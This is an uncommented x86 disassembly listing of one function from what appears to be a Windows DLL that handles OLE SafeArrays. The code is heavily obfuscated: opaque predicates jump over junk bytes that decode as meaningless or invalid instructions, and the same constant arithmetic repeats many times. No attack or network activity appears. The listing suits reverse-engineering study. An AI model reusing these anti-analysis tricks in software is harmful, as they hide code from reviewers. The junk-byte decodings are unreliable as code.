sub eax, ecx
imul eax, edi
test eax, eax
je 0x10016fae
movsx eax, byte [0x10082ab9]
xor edx, edx
add eax, dword [ebp - 0xa4]
movsx ecx, byte [0x10082ab8]
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
movd xmm0, eax
cvtdq2pd xmm0, xmm0
shr eax, 0x1f
addsd xmm0, qword [eax*8 + 0x1007c000]
movsd qword [ebp - 0xb0], xmm0
xor eax, eax
je 0x10016ead
add byte [edi], cl
mov esi, 0x82aba05
adc byte [ebx], dh
ror byte [ebx - 0x8f43], cl
jmp dword [esi + 0xf]
movsx eax, byte [0x10082aba]
xor edx, edx
mov edi, dword [ebp - 0x90]
movd xmm1, eax
movsx eax, byte [0x10082abc]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0xb0]
movsd qword [ebp - 0xb0], xmm1
movsx eax, byte [0x10082ab9]
movsx ecx, byte [0x10082ab8]
add eax, edi
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
je 0x10016f40
call fcn.10002ec0
movsx ecx, al
movsx eax, byte [0x10084c20]
imul ecx, eax
lea ecx, [ecx + ecx*8]
call fcn.10002ef0
movsx eax, al
sub ecx, eax
call fcn.10002ed0
movsx eax, al
add eax, ecx
movsx ecx, byte [0x10082abc]
add ecx, eax
jne 0x10017b6a
movsx eax, byte [0x10082ab9]
xor edx, edx
add eax, dword [ebp - 0x68]
movsx ecx, byte [0x10082ab8]
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
je 0x10016fa3
movsx eax, byte [0x10082ab9]
xor edx, edx
movsx ecx, byte [0x10082ab8]
add eax, edi
div ecx
movsx ecx, byte [0x10082abb]
movsd xmm0, qword [ebp - 0xb0]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x1007c000]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
jmp 0x10016fa6
mov eax, dword [ebp - 0x1c]
test eax, eax
jg 0x10017b6a
xorps xmm0, xmm0
mov eax, 1
push 1
movups xmmword [ebp - 0xcc], xmm0
mov word [ebp - 0xcc], ax
mov eax, 0x2008
push 0
push 0xc
movups xmmword [ebp - 0x40], xmm0
mov word [ebp - 0x64], ax
call dword [sym.imp.OLEAUT32.dll_SafeArrayCopyData]
mov edi, dword [ebp - 0x9c]
mov esi, eax
movsx eax, byte [0x10082ab9]
xor edx, edx
movsx ecx, byte [0x10082ab8]
mov dword [ebp - 0xa0], esi
lea eax, [eax + edi]
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
je 0x1001783f
cmp dword [ebp - 0xa8], 0
jle 0x10017021
mov ecx, 1
xor edx, edx
jmp 0x1001702f
xorps xmm0, xmm0
movlpd qword [ebp - 0x6c], xmm0
mov edx, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x6c]
call fcn.1006bd80
movsd qword [ebp - 0x6c], xmm0
xor eax, eax
je 0x1001703e
add byte [edi], cl
mov esi, 0x82aba05
adc byte [ebx], dh
shl byte [esi + 0xf], cl
outsb dx, byte [esi]
ror byte [edi], 1
mov esi, 0x82abc05
adc bl, dh
invalid
movsx eax, byte [0x10082aba]
xor edx, edx
movd xmm2, eax
movsx eax, byte [0x10082abc]
cvtdq2pd xmm2, xmm2
movd xmm1, eax
cvtdq2pd xmm1, xmm1
addsd xmm1, xmm1
subsd xmm2, xmm1
mulsd xmm2, qword [ebp - 0x6c]
movsd qword [ebp - 0x6c], xmm2
movsx eax, byte [0x10082ab9]
add eax, dword [ebp - 0x90]
movsx ecx, byte [0x10082ab8]
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
je 0x100170df
call fcn.10002ec0
movsx ecx, al
movsx eax, byte [0x10084c20]
imul ecx, eax
lea ecx, [ecx + ecx*8]
call fcn.10002ef0
movsx eax, al
sub ecx, eax
call fcn.10002ed0
movsx eax, al
add eax, ecx
movsx ecx, byte [0x10082abc]
add ecx, eax
je 0x100170df
mov esi, dword [ebp - 0x84]
mov edi, dword [ebp - 0x74]
mov dword [ebp - 0x7c], 4
lea eax, [esi + esi*2]
add eax, eax
mov dword [ebp - 0x70], eax
jmp 0x1001715b
mov esi, dword [ebp - 0x84]
xor edx, edx
movsx eax, byte [0x10082ab9]
mov edi, dword [ebp - 0x74]
lea ecx, [esi + esi*2]
add ecx, ecx
add eax, ecx
mov dword [ebp - 0x70], ecx
movsx ecx, byte [0x10082ab8]
add eax, edi
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
je 0x10017155
movsx eax, byte [0x10082ab9]
xor edx, edx
add eax, dword [ebp - 0x90]
movsx ecx, byte [0x10082ab8]
div ecx
movsx ecx, byte [0x10082abb]
movsd xmm0, qword [ebp - 0x6c]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x1007c000]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
jmp 0x10017158
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x7c], eax
movsx eax, byte [0x10082ab9]
xor edx, edx
add eax, dword [ebp - 0xa4]
movsx ecx, byte [0x10082ab8]
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
imul eax, dword [ebp - 0x7c]
test eax, eax
je 0x10017374
push dword [ebp - 0xa8]
mov eax, dword [sym.imp.OLEAUT32.dll_SafeArrayCopyData]
push 0
push 8
call eax
lea ecx, [edi + esi*8]
mov dword [ebp - 0x5c], eax
add ecx, esi
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0x68], ecx
nop dword [eax + eax]
movsx eax, byte [0x10082ab9]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x10082ab8]
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
movd xmm0, eax
cvtdq2pd xmm0, xmm0
shr eax, 0x1f
addsd xmm0, qword [eax*8 + 0x1007c000]
movsd qword [ebp - 0xb0], xmm0
xor eax, eax
je 0x100171ee
add byte [edi], cl
mov esi, 0x82aba05
adc byte [ebx], dh
ror byte [ebx - 0x8f43], cl
jmp dword [esi + 0xf]
movsx eax, byte [0x10082aba]
xor edx, edx
mov edi, dword [ebp - 0x90]
movd xmm1, eax
movsx eax, byte [0x10082abc]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0xb0]
movsd qword [ebp - 0xb0], xmm1
movsx eax, byte [0x10082ab9]
movsx ecx, byte [0x10082ab8]
add eax, edi
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
je 0x1001728a
call fcn.10002ec0
movsx ecx, al
movsx eax, byte [0x10084c20]
imul ecx, eax
lea ecx, [ecx + ecx*8]
call fcn.10002ef0
movsx eax, al
sub ecx, eax
call fcn.10002ed0
movsx eax, al
add eax, ecx
movsx ecx, byte [0x10082abc]
add ecx, eax
je 0x1001728a
mov eax, 4
mov dword [ebp - 0xa4], eax
jmp 0x100172fc
movsx eax, byte [0x10082ab9]
xor edx, edx
add eax, dword [ebp - 0x70]
add eax, dword [ebp - 0x74]
movsx ecx, byte [0x10082ab8]
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
je 0x100172f6
movsx eax, byte [0x10082ab9]
xor edx, edx
movsx ecx, byte [0x10082ab8]
add eax, edi
div ecx
movsx ecx, byte [0x10082abb]
movsd xmm0, qword [ebp - 0xb0]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x1007c000]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0xa4], eax
jmp 0x100172fc
mov eax, dword [ebp - 0xa4]
mov esi, dword [ebp - 0x7c]
cmp esi, eax
jge 0x10017353
mov edi, dword [ebp - 0xa8]
xor ecx, ecx
mov dword [ebp - 0x4c], ecx
test edi, edi
jle 0x10017347
mov esi, dword [ebp - 0x94]
nop dword [eax + eax]
mov eax, dword [esi]
push dword [eax + ecx*4]
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
push eax
lea eax, [ebp - 0x4c]
push eax
push dword [ebp - 0x5c]
call dword [sym.imp.OLEAUT32.dll_SafeArrayCopy]
mov ecx, dword [ebp - 0x4c]
inc ecx
mov dword [ebp - 0x4c], ecx
cmp ecx, edi
jl 0x10017320
mov esi, dword [ebp - 0x7c]
mov ecx, dword [ebp - 0x68]
inc esi
mov dword [ebp - 0x7c], esi
jmp 0x100171b0
mov esi, dword [ebp - 0xa0]
lea eax, [ebp - 0x64]
push eax
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x1c], 0
push eax
push esi
call dword [sym.imp.OLEAUT32.dll_SafeArrayCopy]
jmp 0x10017839
movsx eax, byte [0x10082ab9]
xor edx, edx
add eax, dword [ebp - 0x78]
movsx ecx, byte [0x10082ab8]
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
je 0x10017833
call fcn.10002ec0
movsx ecx, al
mov dword [ebp - 0xa8], ecx
call fcn.10002ef0
movsx edx, al
mov dword [ebp - 0x78], edx
call fcn.10002ed0
movsx esi, al
movsx eax, byte [0x10084c20]
imul eax, ecx
movsx ecx, byte [0x10082abc]
mov dword [ebp - 0x7c], esi
add eax, eax
sub eax, edx
add eax, esi
add ecx, eax
movd xmm0, ecx
cvtdq2pd xmm0, xmm0
shr ecx, 0x1f
addsd xmm0, qword [ecx*8 + 0x1007c000]
movsd qword [ebp - 0x98], xmm0
xor eax, eax
je 0x100173f6
add byte [edi], cl
mov esi, 0x82aba05
adc byte [ebx], dh
ror byte [ebx - 0x8f43], cl
jmp dword [esi + 0xf]
movsx eax, byte [0x10082aba]
xor edx, edx
mov edi, dword [ebp - 0x90]
movd xmm1, eax
movsx eax, byte [0x10082abc]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0x98]
movsd qword [ebp - 0x98], xmm1
movsx eax, byte [0x10082ab9]
movsx ecx, byte [0x10082ab8]
add eax, edi
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
je 0x10017483
movsx eax, byte [0x10084c20]
imul eax, dword [ebp - 0xa8]
movsx ecx, byte [0x10082abc]
lea eax, [eax + eax*8]
sub eax, dword [ebp - 0x78]
add eax, dword [ebp - 0x7c]
add ecx, eax
je 0x10017483
mov eax, dword [ebp - 0x74]
mov esi, 4
add eax, dword [ebp - 0x70]
mov dword [ebp - 0x70], eax
jmp 0x100174f1
mov esi, dword [ebp - 0x74]
xor edx, edx
add esi, dword [ebp - 0x70]
movsx eax, byte [0x10082ab9]
movsx ecx, byte [0x10082ab8]
add eax, esi
div ecx
movsx ecx, byte [0x10082abb]
mov dword [ebp - 0x70], esi
sub eax, ecx
je 0x100174ee
movsx eax, byte [0x10082ab9]
xor edx, edx
movsx ecx, byte [0x10082ab8]
add eax, edi
div ecx
movsx ecx, byte [0x10082abb]
movsd xmm0, qword [ebp - 0x98]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x1007c000]
mulsd xmm0, xmm1
cvttsd2si esi, xmm0
jmp 0x100174f1
mov esi, dword [ebp - 0x1c]
movsx eax, byte [0x10082ab9]
xor edx, edx
mov edi, dword [ebp - 0x9c]
add eax, edi
movsx ecx, byte [0x10082ab8]
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
imul eax, esi
test eax, eax
je 0x10017822
xor eax, eax
je 0x10017524
add byte [edi], cl
mov esi, 0x82aba05
adc byte [ebx], dh
shl byte [esi + 0xf], cl
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
mov esp, 0xf310082a
invalid
movsx eax, byte [0x10082aba]
xor edx, edx
movd xmm1, eax
movsx eax, byte [0x10082abc]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [0x1007be18]
movsd qword [ebp - 0x98], xmm1
movsx eax, byte [0x10082ab9]
add eax, dword [ebp - 0x90]
movsx ecx, byte [0x10082ab8]
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
je 0x1001759f
movsx eax, byte [0x10084c20]
imul eax, dword [ebp - 0xa8]
movsx ecx, byte [0x10082abc]
lea eax, [eax + eax*8]
sub eax, dword [ebp - 0x78]
add eax, dword [ebp - 0x7c]
add ecx, eax
jne 0x100175d6
movsx eax, byte [0x10082ab9]
xor edx, edx
add eax, dword [ebp - 0x70]
movsx ecx, byte [0x10082ab8]
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
je 0x100175d6
mov al, byte [0x10082ab9]
mov al, byte [0x10082ab8]
mov al, byte [0x10082abb]
movsd xmm0, qword [ebp - 0x98]
movsx eax, byte [0x10082ab9]
xor edx, edx
add eax, dword [ebp - 0xb4]
movsx ecx, byte [0x10082ab8]
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
je 0x10017833
mov ecx, dword [ebp - 0x88]
xor edx, edx
add ecx, dword [ebp - 0x74]
movsx eax, byte [0x10082ab9]
add eax, ecx
mov dword [ebp - 0xa4], ecx
movsx ecx, byte [0x10082ab8]
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
movd xmm0, eax
cvtdq2pd xmm0, xmm0
shr eax, 0x1f
addsd xmm0, qword [eax*8 + 0x1007c000]
movsd qword [ebp - 0x98], xmm0
xor eax, eax
je 0x1001764a
add byte [edi], cl
mov esi, 0x82aba05
adc byte [ebx], dh
ror byte [ebx - 0xa34b], cl
jmp dword [esi + 0xf]
movsx eax, byte [0x10082aba]
xor edx, edx
mov esi, dword [ebp - 0xa4]
movd xmm1, eax
movsx eax, byte [0x10082abc]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0x98]
movsd qword [ebp - 0x98], xmm1
movsx eax, byte [0x10082ab9]
movsx ecx, byte [0x10082ab8]
add eax, esi
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
je 0x100176ce
movsx eax, byte [0x10084c20]
imul eax, dword [ebp - 0xa8]
movsx ecx, byte [0x10082abc]
lea eax, [eax + eax*8]
sub eax, dword [ebp - 0x78]
add eax, dword [ebp - 0x7c]
add ecx, eax
je 0x100176ce
mov esi, 4
jmp 0x10017734
movsx eax, byte [0x10082ab9]
xor edx, edx
add eax, dword [ebp - 0x70]
movsx ecx, byte [0x10082ab8]
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
je 0x10017731
movsx eax, byte [0x10082ab9]
xor edx, edx
movsx ecx, byte [0x10082ab8]
add eax, esi
div ecx
movsx ecx, byte [0x10082abb]
movsd xmm0, qword [ebp - 0x98]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x1007c000]
mulsd xmm0, xmm1
cvttsd2si esi, xmm0
jmp 0x10017734
mov esi, dword [ebp - 0x1c]
movsx eax, byte [0x10082ab9]
xor edx, edx
add eax, dword [ebp - 0x70]
movsx ecx, byte [0x10082ab8]
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
imul eax, esi
test eax, eax
je 0x10017833
xor eax, eax
je 0x10017762
add byte [edi], cl
mov esi, 0x82aba05
adc byte [ebx], dh
shl byte [esi + 0xf], cl
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
mov esp, 0xf310082a
invalid
movsx eax, byte [0x10082aba]
xor edx, edx
movd xmm1, eax
movsx eax, byte [0x10082abc]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [0x1007be10]
movsd qword [ebp - 0x98], xmm1
movsx eax, byte [0x10082ab9]
add eax, dword [ebp - 0xa4]
movsx ecx, byte [0x10082ab8]
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
je 0x100177dd
movsx eax, byte [0x10084c20]
imul eax, dword [ebp - 0xa8]
movsx ecx, byte [0x10082abc]
lea eax, [eax + eax*8]
sub eax, dword [ebp - 0x78]
add eax, dword [ebp - 0x7c]
add ecx, eax
jne 0x10017833
movsx eax, byte [0x10082ab9]
xor edx, edx
add eax, dword [ebp - 0x70]
movsx ecx, byte [0x10082ab8]
div ecx
movsx ecx, byte [0x10082abb]
mov esi, dword [ebp - 0xa0]
mov edi, dword [ebp - 0x9c]
sub eax, ecx
je 0x1001783f
mov al, byte [0x10082ab9]
mov al, byte [0x10082ab8]
mov al, byte [0x10082abb]
movsd xmm0, qword [ebp - 0x98]
jmp 0x1001783f
mov eax, dword [sym.imp.OLEAUT32.dll_SafeArrayCopyData]
push 0
push 0
push 0xc
call eax
mov esi, eax
jmp 0x1001783f
mov esi, dword [ebp - 0xa0]
mov edi, dword [ebp - 0x9c]
mov eax, dword [ebp - 0x24]
test eax, eax
je 0x10017c7a
movups xmm0, xmmword [ebp - 0xcc]
mov edx, dword [eax]
lea ecx, [ebp - 0x40]
push ecx
push esi
sub esp, 0x10
mov ecx, esp
push eax
movups xmmword [ecx], xmm0
call dword [edx + 0x94]
mov esi, eax
xor edx, edx
movsx eax, byte [0x10082ab9]
movsx ecx, byte [0x10082ab8]
lea eax, [eax + edi]
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
je 0x10017c01
test esi, esi
jns 0x1001789a
mov ecx, 1
xor edx, edx
jmp 0x100178b1
xorps xmm0, xmm0
movlpd qword [ebp - 0x98], xmm0
mov edx, dword [ebp - 0x94]
mov ecx, dword [ebp - 0x98]
call fcn.1006bd80
movsd qword [ebp - 0x98], xmm0
xor eax, eax
je 0x100178c3
add byte [edi], cl
mov esi, 0x82aba05
adc byte [ebx], dh
shl byte [esi + 0xf], cl
outsb dx, byte [esi]
ror byte [edi], 1
mov esi, 0x82abc05
adc bl, dh
invalid
movsx eax, byte [0x10082aba]
xor edx, edx
movd xmm2, eax
movsx eax, byte [0x10082abc]
cvtdq2pd xmm2, xmm2
movd xmm1, eax
cvtdq2pd xmm1, xmm1
addsd xmm1, xmm1
subsd xmm2, xmm1
mulsd xmm2, qword [ebp - 0x98]
movsd qword [ebp - 0x98], xmm2
movsx eax, byte [0x10082ab9]
add eax, dword [ebp - 0x90]
movsx ecx, byte [0x10082ab8]
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
je 0x1001796d
call fcn.10002ec0
movsx ecx, al
movsx eax, byte [0x10084c20]
imul ecx, eax
lea ecx, [ecx + ecx*8]
call fcn.10002ef0
movsx eax, al
sub ecx, eax
call fcn.10002ed0
movsx eax, al
add eax, ecx
movsx ecx, byte [0x10082abc]
add ecx, eax
je 0x1001796d
mov esi, dword [ebp - 0x84]
mov edi, dword [ebp - 0x74]
mov dword [ebp - 0x78], 4
lea eax, [esi + esi*2]
add eax, eax
mov dword [ebp - 0x7c], eax
jmp 0x100179f5
mov esi, dword [ebp - 0x84]
xor edx, edx
movsx eax, byte [0x10082ab9]
mov edi, dword [ebp - 0x74]
lea ecx, [esi + esi*2]
add ecx, ecx
add eax, ecx
mov dword [ebp - 0x7c], ecx
movsx ecx, byte [0x10082ab8]
add eax, edi
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
je 0x100179ef
movsx eax, byte [0x10082ab9]
xor edx, edx
add eax, dword [ebp - 0x90]
movsx ecx, byte [0x10082ab8]
div ecx
movsx ecx, byte [0x10082abb]
movsd xmm0, qword [ebp - 0x98]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x1007c000]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0x7c]
mov dword [ebp - 0x7c], eax
jmp 0x100179f5
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x78], eax
movsx ecx, byte [0x10082ab9]
lea eax, [esi + edi]
lea eax, [eax + esi*8]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x10082ab8]
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
imul eax, dword [ebp - 0x78]
test eax, eax
je 0x10017c01
mov ecx, dword [ebp - 0x88]
xor edx, edx
movsx eax, byte [0x10082ab9]
add ecx, edi
add eax, ecx
mov dword [ebp - 0x1c], ecx
movsx ecx, byte [0x10082ab8]
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
movd xmm0, eax
cvtdq2pd xmm0, xmm0
shr eax, 0x1f
addsd xmm0, qword [eax*8 + 0x1007c000]
movsd qword [ebp - 0x98], xmm0
xor eax, eax
je 0x10017a6d
add byte [edi], cl
mov esi, 0x82aba05
adc byte [ebx], dh
shl byte [esi + 0xf], cl
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
mov esp, 0xf310082a
invalid
movsx eax, byte [0x10082aba]
xor edx, edx
movd xmm1, eax
movsx eax, byte [0x10082abc]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0x98]
movsd qword [ebp - 0x98], xmm1
movsx eax, byte [0x10082ab9]
mov esi, dword [ebp - 0x1c]
add eax, esi
movsx ecx, byte [0x10082ab8]
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
je 0x10017af9
call fcn.10002ec0
movsx ecx, al
movsx eax, byte [0x10084c20]
imul ecx, eax
lea ecx, [ecx + ecx*8]
call fcn.10002ef0
movsx eax, al
sub ecx, eax
call fcn.10002ed0
movsx eax, al
add eax, ecx
movsx ecx, byte [0x10082abc]
add ecx, eax
jne 0x10017b6a
movsx eax, byte [0x10082ab9]
xor edx, edx
add eax, dword [ebp - 0x7c]
add eax, dword [ebp - 0x74]
movsx ecx, byte [0x10082ab8]
div ecx
movsx ecx, byte [0x10082abb]
sub eax, ecx
je 0x10017b5f
movsx eax, byte [0x10082ab9]
xor edx, edx
movsx ecx, byte [0x10082ab8]
add eax, esi
div ecx
movsx ecx, byte [0x10082abb]
movsd xmm0, qword [ebp - 0x98]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x1007c000]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
jmp 0x10017b62
mov eax, dword [ebp - 0x1c]
test eax, eax
jle 0x10017c01
mov byte [ebp - 4], 0x19
mov eax, dword [ebp - 0x24]
test eax, eax
je 0x10017b7b
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov byte [ebp - 4], 0x1a
mov eax, dword [ebp - 0x20]
test eax, eax
je 0x10017b8c
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov byte [ebp - 4], 0x1b
mov eax, dword [ebp - 0x28]
test eax, eax
je 0x10017b9d
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov byte [ebp - 4], 0x1c
mov eax, dword [ebp - 0x2c]
test eax, eax
je 0x10017bae
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, dword [ebp + 8]
test ecx, ecx
je 0x10017be2
mov edx, dword [ebp + 0x10]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x10017bd8
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10017c84
push edx
push ecx
call fcn.10048974
add esp, 8
or eax, 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10048931
mov esp, ebp
pop ebp
ret
mov byte [ebp - 4], 0x1d
mov eax, dword [ebp - 0x24]
test eax, eax
je 0x10017c12
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov byte [ebp - 4], 0x1e
mov eax, dword [ebp - 0x20]
test eax, eax
je 0x10017c23
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov byte [ebp - 4], 0x1f
mov eax, dword [ebp - 0x28]
test eax, eax
je 0x10017c34
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov byte [ebp - 4], 0x20
mov eax, dword [ebp - 0x2c]
test eax, eax
je 0x10017c45
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, dword [ebp + 8]
test ecx, ecx
je 0x10017be5
mov edx, dword [ebp + 0x10]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x10017c6b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10017c84
push edx
push ecx
call fcn.10048974
add esp, 8
jmp 0x10017be5
push 0x80004003
call fcn.10032030
call fcn.10050cfe
int3